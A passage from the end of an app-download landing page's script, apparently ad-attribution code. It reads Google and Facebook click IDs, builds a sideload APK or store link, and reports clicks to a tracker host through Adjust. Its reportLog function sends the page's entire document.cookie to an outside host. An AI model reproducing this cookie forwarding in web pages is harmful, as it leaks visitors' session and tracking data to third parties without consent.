            urlParams[param] = value;
        }
    });
    console.log(urlParams)

    var gclid = getGclid();
    console.log('getGclid:', gclid)

    function getGclid() {
        let ups = readUrlParams();
        if (ups.gclid) {
            return ups.gclid
        }
        let adjust_referrer = ups.adjust_referrer
        if (adjust_referrer) {
            adjust_referrer = decodeURIComponent(adjust_referrer)
            let ar = adjust_referrer.split("=")
            console.log('ar:', ar)
            if (ar && ar.length > 1) {
                return ar[1]
            }
        }
        return ''
    }

    var wbraid = getQueryString("wbraid") || getCookie('wbraid');
    var gbraid = getQueryString("gbraid") || getCookie('gbraid');

    function getQueryString(name) {
        var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i');
        var r = window.location.search.substr(1).match(reg);
        if (r != null) {
            return unescape(r[2]);
        }
        return "";
    }

    function getCookie(cname) {
        let name = cname + "=";
        let ca = document.cookie.split(';');
        for (let i = 0; i < ca.length; i++) {
            let c = ca[i];
            while (c.charAt(0) == ' ') {
                c = c.substring(1);
            }
            if (c.indexOf(name) == 0) {
                return c.substring(name.length, c.length);
            }
        }
        return "";
    }

    function createEventId() {
        return 'xxxxxxxyx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
            var r = Math.random() * 16 | 0,
                v = c === 'x' ? r : (r & 0x3 | 0x8);
            return v.toString(16);
        });
    }

    //线下包地址
    if (pkgType === '1') {
        if(!downloadDomain.endsWith('.apk')) {
            offlineUrl = downloadDomain + '/cg/gaoct/fg/' + appName + '.apk?' + 'channel=' + channel + '&pxid=' + pxid + '&fbp=' + fbp + '&fbc=' + fbc + '&gclid=' + gclid + '&wbraid=' + wbraid + '&gbraid=' + gbraid + '&eventId=' + eventId + '&ext=' + encodeExtStr;
            url = offlineUrl;
        } else {
            url = downloadDomain
        }
    } else if (pkgType === '2') {
        //线上包地址
        url = buildOnlinePkgReferrer()
    }

    webClick()

    function webClick() {

        let uri = window.location.href;
        uri = uri.replace(/^https?:\/\//, '');
        uri = encodeURIComponent(uri)
        // 获取当前页面的所有 Cookie
        const cookies = document.cookie;
        let logrpUrl = '';

        const urlP = readUrlParams()

        if (isGoogleAdLink()) {
            const campaignName = urlP.campaign
            const adset = urlP.adgroup
            const creative = urlP.creative
            const gbraid = urlP.gbraid
            const wbraid = urlP.wbraid
            logrpUrl = 'https://tracker2.bx1.pw/webAdsTracker/click?uri=' + uri + '&eventId=' + eventId + '&channel=' + channel +
                '&gbraid=' + gbraid + '&wbraid=' + wbraid + '&campaignName=' + campaignName + "&campaignId=" + campaignName + '&gclid=' + gclid + '&adsetName=' + adset + '&adsetId=' + adset + '&creative='
                + creative + '&adjustTrackerToken=' + adjustTracker
        } else if (isFacebookAdLink()) {
            const campaignName = urlP.p1
            const campaignId = urlP.p2
            const adsetName = urlP.p3
            const adsetId = urlP.p4
            const adName = urlP.p5
            const adId = urlP.p6
            const fbclid = urlP.fbclid
            const fbpid = urlP.fbpid
            logrpUrl = 'https://tracker2.bx1.pw/webAdsTracker/click?uri=' + uri + '&eventId=' + eventId + '&channel=' + channel +
                '&campaignName=' + campaignName + '&adsetName=' + adsetName + '&adjustTrackerToken=' + adjustTracker +
                '&campaignId=' + campaignId + '&adsetId=' + adsetId + '&adName=' + adName + '&adId=' + adId + '&fbclid=' + fbclid + '&fbpid=' + fbpid;
        } else {
            //自然量
            logrpUrl = 'https://tracker2.bx1.pw/webAdsTracker/click?uri=' + uri + '&eventId=' + eventId + '&channel=' + channel +
                '&adjustTrackerToken=' + adjustTracker
        }

        // 发送GET请求
        fetch(logrpUrl, {mode: 'no-cors'})
            .then(response => {
            })
            .then(data => {
            })
            .catch(error => {
                console.log('web click error', error)
            });
    }

    function onBtnClick(redirect) {

        if (isGoogleAdLink()) {
            const campaign = urlParams.campaign
            const adgroup = urlParams.adgroup
            const creative = urlParams.creative
            const gbraid = urlParams.gbraid
            const wbraid = urlParams.wbraid
            const url = 'https://app.adjust.com/' + adjustTracker + '?engagement_type=fallback_click&campaign=' + campaign + '&external_click_id=' + gclid +
                '&adgroup=' + adgroup + '&creative=' + creative + '&gbraid=' + gbraid + '&wbraid=' + wbraid + '&redirect=' + redirect
            console.log(url)
            window.location.href = url;
        } else if (isFacebookAdLink()) {
            const campaignName = urlParams.p1
            const campaignId = urlParams.p2
            const adsetName = urlParams.p3
            const adsetId = urlParams.p4
            const adName = urlParams.p5
            const adId = urlParams.p6
            const fbclid = urlParams.fbclid
            const fbpid = urlParams.fbpid
            const url = 'https://app.adjust.com/' + adjustTracker + '?engagement_type=fallback_click&campaign=' + campaignName + '%20%28' + campaignId
                + '%29&adgroup=' + adsetName + '%20%28' + adsetId + '%29&creative=' + adName + '%20%28' + adId + '%29&fbclid='
                + fbclid + '&fbpid=' + fbpid + '&redirect=' + redirect
            window.location.href = url;
        } else {
            window.location.href = 'https://app.adjust.com/' + adjustTracker + '?engagement_type=fallback_click&redirect=' + redirect;
        }
    }

    function isGoogleAdLink() {
        return gclid
    }

    function isFacebookAdLink() {
        return window.location.href.includes('fbclid');
    }

    function sendGtagEvent(action) {
        console.log('sendGtagEvent', action)
        // 其他参数被设定为固定值
        const category = 'button';
        const label = 'myButton';
        const value = 1;

        gtag('event', action, {
            'event_category': category,
            'event_label': label,
            'value': value
        });
    }

    //必须将download赋值给window
    function download(eventName) {
        sendGtagEvent(eventName)
        reportLog(Date.now() - startTime);
        var encodedUrl = encodeURIComponent(url);
        onBtnClick(encodedUrl);
    }

    window.download = download;

    function readUrlParams() {
        //读取url参数
        const urlParams = new Proxy({}, {
            get: (target, name) => name in target ? target[name] : ''
        });

        const currentURL = window.location.href;
        const parsedURL = new URL(currentURL);
        const params = parsedURL.searchParams;

        for (const [param, value] of params) {
            urlParams[param] = value;
            console.log('urlParams: ', urlParams[param])
        }
        return urlParams;
    }

    function reportLog(timeCost) {
        if (reportFlag > 0) {
            return;
        }
        reportFlag = 1
        let uri = window.location.href;
        uri = uri.replace(/^https?:\/\//, '');
        console.log('uri:', uri)
        // 获取当前页面的所有 Cookie
        const cookies = document.cookie;
        // 将 Cookie 添加到 URL 参数中
        let cookieA = `&cookie=${encodeURIComponent(cookies)}`;
        let logrpUrl = '';

        const urlP = readUrlParams()

        var uriWithoutParams = window.location.origin + window.location.pathname;
        const p0 = urlP.p0
        const p1 = urlP.p1
        const p2 = urlP.p2
        const p3 = urlP.p3
        const p4 = urlP.p4
        const p5 = urlP.p5
        const p6 = urlP.p6
        const fbclid = urlP.fbclid

        logrpUrl = 'https://tracker2.bx1.pw/webAdsTracker/report?uri=' + uriWithoutParams + '&p0=' + p0 + '&p1=' + p1 + '&p2=' + p2 + '&p3=' + p3 + '&p4=' + p4
            + '&p5=' + p5 + '&p6=' + p6 + '&fbclid=' + fbclid + '&eventId=' + eventId + cookieA + '&timecost=' + timeCost + '&channel=' + channel;
        // 发送GET请求
        fetch(logrpUrl, {mode: 'no-cors'})
            .then(response => {
                if (!response.ok) {
                    throw new Error(`HTTP error! Status: ${response.status}`);
                }
                return response.json();
            })
            .then(data => {
                console.log('reportLog', logrpUrl)
            })
            .catch(error => {
                console.log('reportLog:', logrpUrl)
            });
    }

    function hasQuestionMark(uri) {
        const regex = /\?/;
        return regex.test(uri);
    }

    function buildOnlinePkgReferrer() {
        let up = readUrlParams()
        if (isFacebookAdLink()) {
            onlinePkgUrl = onlinePkgUrl + '&referrer=fbclid%3D' + up.fbclid + '%26eventId%3D' + eventId
        } else if (isGoogleAdLink()) {
            onlinePkgUrl = onlinePkgUrl + '&referrer=fbclid%3D' + gclid + '%26eventId%3D' + eventId
        } else {
            onlinePkgUrl = onlinePkgUrl + '&referrer=eventId%3D' + eventId
        }
        return onlinePkgUrl
    }

</script>
</body>
</html>